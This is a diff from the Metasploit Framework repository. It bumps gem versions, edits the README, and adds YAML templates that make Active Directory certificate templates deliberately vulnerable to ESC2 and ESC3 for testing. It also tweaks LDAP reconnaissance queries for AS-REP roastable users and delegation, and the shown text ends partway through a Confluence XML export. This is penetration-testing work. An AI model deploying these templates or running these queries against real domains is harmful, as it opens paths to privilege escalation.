@@ -1,58 +1,60 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.8, MIT
|
||||
actionview, 7.0.8, MIT
|
||||
activemodel, 7.0.8, MIT
|
||||
activerecord, 7.0.8, MIT
|
||||
activesupport, 7.0.8, MIT
|
||||
addressable, 2.8.5, "Apache 2.0"
|
||||
Ascii85, 1.1.1, MIT
|
||||
aarch64, 2.1.0, "Apache 2.0"
|
||||
actionpack, 7.0.8.1, MIT
|
||||
actionview, 7.0.8.1, MIT
|
||||
activemodel, 7.0.8.1, MIT
|
||||
activerecord, 7.0.8.1, MIT
|
||||
activesupport, 7.0.8.1, MIT
|
||||
addressable, 2.8.6, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.23.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.23.0, "Apache 2.0"
|
||||
allure-rspec, 2.24.3, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.3, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.834.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.185.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.411.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.87.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.72.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.136.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.158.0, "Apache 2.0"
|
||||
aws-sigv4, 1.6.0, "Apache 2.0"
|
||||
base64, 0.1.1, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.19, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.933.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.196.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.457.1, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.40.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.98.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.82.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.151.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.169.0, "Apache 2.0"
|
||||
aws-sigv4, 1.8.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
bootsnap, 1.18.3, MIT
|
||||
bson, 5.0.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
concurrent-ruby, 1.2.3, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.1, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.2.1, MIT
|
||||
factory_bot, 6.4.6, MIT
|
||||
factory_bot_rails, 6.4.3, MIT
|
||||
faker, 3.3.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -65,80 +67,80 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
i18n, 1.14.4, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
json, 2.7.2, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
loofah, 2.22.0, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.41, "New BSD"
|
||||
metasploit-credential, 6.0.9, "New BSD"
|
||||
metasploit-framework, 6.4.13, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.159, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mime-types, 3.5.1, MIT
|
||||
mime-types-data, 3.2023.1003, MIT
|
||||
mini_portile2, 2.8.4, MIT
|
||||
minitest, 5.20.0, MIT
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.5.2, MIT
|
||||
mime-types-data, 3.2024.0305, MIT
|
||||
mini_portile2, 2.8.6, MIT
|
||||
minitest, 5.22.3, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.0, MIT
|
||||
net-imap, 0.4.11, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.3, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.9, MIT
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
nio4r, 2.7.3, "MIT, Simplified BSD"
|
||||
nokogiri, 1.16.5, MIT
|
||||
nori, 2.7.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.4, MIT
|
||||
parallel, 1.24.0, MIT
|
||||
parser, 3.3.0.5, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.4, "Simplified BSD"
|
||||
pcaprub, 0.13.2, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pg, 1.5.6, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.3, MIT
|
||||
puma, 6.4.0, "New BSD"
|
||||
racc, 1.7.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.8, MIT
|
||||
rack-protection, 3.1.0, MIT
|
||||
public_suffix, 5.0.5, MIT
|
||||
puma, 6.4.2, "New BSD"
|
||||
racc, 1.8.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.9, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8, MIT
|
||||
railties, 7.0.8.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.2, unknown
|
||||
recog, 3.1.5, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.3.8, ruby
|
||||
regexp_parser, 2.9.0, MIT
|
||||
reline, 0.5.2, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-core, 0.1.32, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.39, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
@@ -146,55 +148,54 @@ rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-random_identifier, 0.1.12, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.54, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
rex-text, 0.2.58, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rexml, 3.2.8, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.6, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.0, MIT
|
||||
rspec-expectations, 3.13.0, MIT
|
||||
rspec-mocks, 3.13.0, MIT
|
||||
rspec-rails, 6.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.1, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rubocop, 1.63.2, MIT
|
||||
rubocop-ast, 1.31.2, MIT
|
||||
ruby-macho, 4.0.1, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.6, "New BSD"
|
||||
ruby_smb, 3.3.8, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.1.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
simpleidn, 0.2.3, MIT
|
||||
sinatra, 3.2.0, MIT
|
||||
sqlite3, 1.7.3, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
strscan, 3.1.0, "ruby, Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.3, MIT
|
||||
test-prof, 1.3.2, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
thor, 1.3.1, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
tzinfo-data, 1.2024.1, MIT
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
@@ -207,5 +208,5 @@ windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
yard, 0.9.36, MIT
|
||||
zeitwerk, 2.6.13, MIT
|
||||
|
||||
@@ -34,10 +34,8 @@ Using Metasploit
|
||||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or take a look at the
|
||||
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
page on the documentation website.
|
||||
reading the basics of [using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
or [Metasploit Unleashed][unleashed].
|
||||
|
||||
Contributing
|
||||
--
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Any Purpose OID
|
||||
- 2.5.29.37.0
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Certificate Request Agent OID
|
||||
- 1.3.6.1.4.1.311.20.2.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -135,7 +135,7 @@ queries:
|
||||
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
|
||||
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
|
||||
- action: ENUM_DNS_ZONES
|
||||
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
|
||||
description: 'Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.'
|
||||
filter: '(objectClass=dnsZone)'
|
||||
base_dn_prefix: 'DC=DomainDnsZones'
|
||||
attributes:
|
||||
@@ -224,6 +224,7 @@ queries:
|
||||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
- objectSID
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
@@ -292,7 +293,7 @@ queries:
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_UNCONSTRAINED_DELEGATION
|
||||
description: 'Dump info about all known objects that allow uncontrained delegation.'
|
||||
description: 'Dump info about all known objects that allow unconstrained delegation.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||
attributes:
|
||||
- cn
|
||||
@@ -325,7 +326,7 @@ queries:
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_ASREP_ROASTABLE
|
||||
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
|
||||
description: 'Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable.'
|
||||
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
|
||||
attributes:
|
||||
- cn
|
||||
|
||||
@@ -16,6 +16,8 @@ services:
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
|
||||
@@ -0,0 +1,4685 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<hibernate-generic datetime="2023-11-09 06:05:20">
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196658</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196654</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196655</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196656</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196657</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196650</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196651</id>
|
||||
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196652</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
